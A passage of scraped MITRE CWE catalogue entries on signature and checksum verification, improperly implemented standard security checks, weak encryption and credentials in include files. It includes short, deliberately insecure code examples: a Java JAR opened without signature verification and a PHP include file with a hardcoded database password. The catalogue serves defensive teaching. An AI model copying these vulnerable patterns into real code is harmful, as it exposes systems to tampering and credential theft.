Ensure that the checksums present in messages are properly checked in accordance with the protocol specification before they are parsed and used.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.993SFP Secondary Cluster: Incorrect Input Handling
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1411Comprehensive Categorization: Insufficient Verification of Data Authenticity
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
ISA/IEC 62443Part 3-3Req SR 3.1
CLASPFailure to check integrity check value
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Contributions
Contribution DateContributorOrganization
2023-11-14
(CWE 4.14, 2024-02-29)
participants in the CWE ICS/OT SIG 62443 Mapping Fall Workshop
Contributed or reviewed taxonomy mappings for ISA/IEC 62443
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Description, Name, Relationships
2009-10-29CWE Content TeamMITRE
updated Description, Other_Notes
2010-12-13CWE Content TeamMITRE
updated Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Modes_of_Introduction, Relationships
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Taxonomy_Mappings
+ Previous Entry Names
Change DatePrevious Entry Name
2009-03-10Failure to Check Integrity Check Value

CWE-347: Improper Verification of Cryptographic Signature

Weakness ID: 347
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not verify, or incorrectly verifies, the cryptographic signature for data.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.345Insufficient Verification of Data Authenticity
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1214Data Integrity Issues
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.310Cryptographic Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.345Insufficient Verification of Data Authenticity
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1013Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control
Integrity
Confidentiality

Technical Impact: Gain Privileges or Assume Identity; Modify Application Data; Execute Unauthorized Code or Commands

An attacker could gain access to sensitive data and possibly execute unauthorized code.
+ Demonstrative Examples

Example 1

In the following code, a JarFile object is created from a downloaded file.

(bad code)
Example Language: Java 
File f = new File(downloadedFilePath);
JarFile jf = new JarFile(f);

The JAR file that was potentially downloaded from an untrusted source is created without verifying the signature (if present). An alternate constructor that accepts a boolean verify parameter should be used instead.

+ Observed Examples
ReferenceDescription
Does not properly verify signatures for "trusted" entities.
Insufficient verification allows spoofing.
Insufficient verification allows spoofing.
Accepts a configuration file without a Message Integrity Check (MIC) signature.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.859The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.959SFP Secondary Cluster: Weak Cryptography
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1346OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1402Comprehensive Categorization: Encryption
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERImproperly Verified Signature
The CERT Oracle Secure Coding Standard for Java (2011)SEC06-JDo not rely on the default automatic signature verification provided by URLClassLoader and java.util.jar
ISA/IEC 62443Part 3-3Req SR 1.9
ISA/IEC 62443Part 4-1Req SM-6
ISA/IEC 62443Part 4-2Req EDR 3.12
ISA/IEC 62443Part 4-2Req NDR 3.12
ISA/IEC 62443Part 4-2Req HDR 3.12
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution DateContributorOrganization
2023-04-25"Mapping CWE to 62443" Sub-Working GroupCWE-CAPEC ICS/OT SIG
Suggested mappings to ISA/IEC 62443.
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Description, Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2014-07-30CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2019-01-03CWE Content TeamMITRE
updated Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2009-05-27Improperly Verified Signature

CWE-358: Improperly Implemented Security Check for Standard

Weakness ID: 358
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not implement or incorrectly implements one or more security-relevant checks as specified by the design of a standardized algorithm, protocol, or technique.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.693Protection Mechanism Failure
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.573Improper Following of Specification by Caller
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.325Missing Cryptographic Step
CanAlsoBeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.290Authentication Bypass by Spoofing
CanAlsoBeClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.345Insufficient Verification of Data Authenticity
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1006Bad Coding Practices
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation

This is an implementation error, in which the algorithm/technique requires certain security-related behaviors or conditions that are not implemented or checked properly, thus causing a vulnerability.

+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

+ Observed Examples
ReferenceDescription
Browser does not verify Basic Constraints of a certificate, even though it is required, allowing spoofing of trusted certificates.
Browser does not verify Basic Constraints of a certificate, even though it is required, allowing spoofing of trusted certificates.
Browser does not verify Basic Constraints of a certificate, even though it is required, allowing spoofing of trusted certificates.
Logic error prevents some required conditions from being enforced during Challenge-Response Authentication Mechanism with MD5 (CRAM-MD5).
Shared secret not verified in a RADIUS response packet, allowing authentication bypass by spoofing server replies.
Insufficient verification in VoIP implementation, in violation of standard, allows spoofed messages.
Insufficient verification in VoIP implementation, in violation of standard, allows spoofed messages.
Security check not applied to all components, allowing bypass.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.978SFP Secondary Cluster: Implementation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1366ICS Communications: Frail Security in Protocols
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This is a "missing step" error on the product side, which can overlap weaknesses such as insufficient verification and spoofing. It is frequently found in cryptographic and authentication errors. It is sometimes resultant.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERImproperly Implemented Security Check for Standard
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Description
2009-10-29CWE Content TeamMITRE
updated Modes_of_Introduction, Observed_Examples, Other_Notes, Relationship_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2014-07-30CWE Content TeamMITRE
updated Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2022-04-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-326: Inadequate Encryption Strength

Weakness ID: 326
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product stores or transmits sensitive data using an encryption scheme that is theoretically sound, but is not strong enough for the level of protection required.
+ Extended Description
A weak encryption scheme can be subjected to brute force attacks that have a reasonable chance of succeeding using current attack methods and resources.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.693Protection Mechanism Failure
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.328Use of Weak Hash
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1013Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignCOMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control
Confidentiality

Technical Impact: Bypass Protection Mechanism; Read Application Data

An attacker may be able to decrypt the data using brute force attacks.
+ Observed Examples
ReferenceDescription
Weak encryption
Weak encryption (chosen plaintext attack)
Weak encryption
Weak encryption produces same ciphertext from the same plaintext blocks.
Weak encryption
Weak encryption scheme
Weak encryption (XOR)
Weak encryption (reversible algorithm).
Weak encryption (one-to-one mapping).
Encryption error uses fixed salt, simplifying brute force / dictionary attacks (overlaps randomness).
+ Potential Mitigations

Phase: Architecture and Design

Use an encryption scheme that is currently considered to be strong by experts in the field.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.719OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.720OWASP Top Ten 2007 Category A9 - Insecure Communications
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.729OWASP Top Ten 2004 Category A8 - Insecure Storage
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.816OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.934OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.959SFP Secondary Cluster: Weak Cryptography
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1029OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1346OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1402Comprehensive Categorization: Encryption
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERWeak Encryption
OWASP Top Ten 2007A8CWE More SpecificInsecure Cryptographic Storage
OWASP Top Ten 2007A9CWE More SpecificInsecure Communications
OWASP Top Ten 2004A8CWE More SpecificInsecure Storage
+ References
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 8, "Cryptographic Foibles" Page 259. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 21: Using the Wrong Cryptography." Page 315. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Maintenance_Notes, Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-05-27CWE Content TeamMITRE
updated Related_Attack_Patterns
2009-07-08CWE Content TeamMITRE
Clarified entry to focus on algorithms that do not have major weaknesses, but may not be strong enough for some purposes.
2009-07-27CWE Content TeamMITRE
updated Common_Consequences, Description, Maintenance_Notes, Name
2009-10-29CWE Content TeamMITRE
updated Relationships
2010-02-16CWE Content TeamMITRE
updated References
2010-06-21CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, References, Relationships
2018-03-27CWE Content TeamMITRE
updated References, Relationships
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Maintenance_Notes, Potential_Mitigations, Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description, Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2009-07-27Weak Encryption

CWE-541: Inclusion of Sensitive Information in an Include File

Weakness ID: 541
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
If an include file source is accessible, the file can contain usernames and passwords, as well as sensitive information pertaining to the application and system.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.540Inclusion of Sensitive Information in Source Code
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

+ Demonstrative Examples

Example 1

The following code uses an include file to store database credentials:

database.inc

(bad code)
Example Language: PHP 
<?php
$dbName = 'usersDB';
$dbPassword = 'skjdh#67nkjd3$3$';
?>

login.php

(bad code)
Example Language: PHP 
<?php
include('database.inc');
$db = connectToDB($dbName, $dbPassword);
$db.authenticateUser($username, $password);
?>

If the server does not have an explicit handler set for .inc files it may send the contents of database.inc to an attacker without pre-processing, if the attacker requests the file directly. This will expose the database name and password.

+ Potential Mitigations

Phase: Architecture and Design

Do not store sensitive information in include files.

Phases: Architecture and Design; System Configuration

Protect include files from being exposed.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.731OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1349OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1417Comprehensive Categorization: Sensitive Information Exposure
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

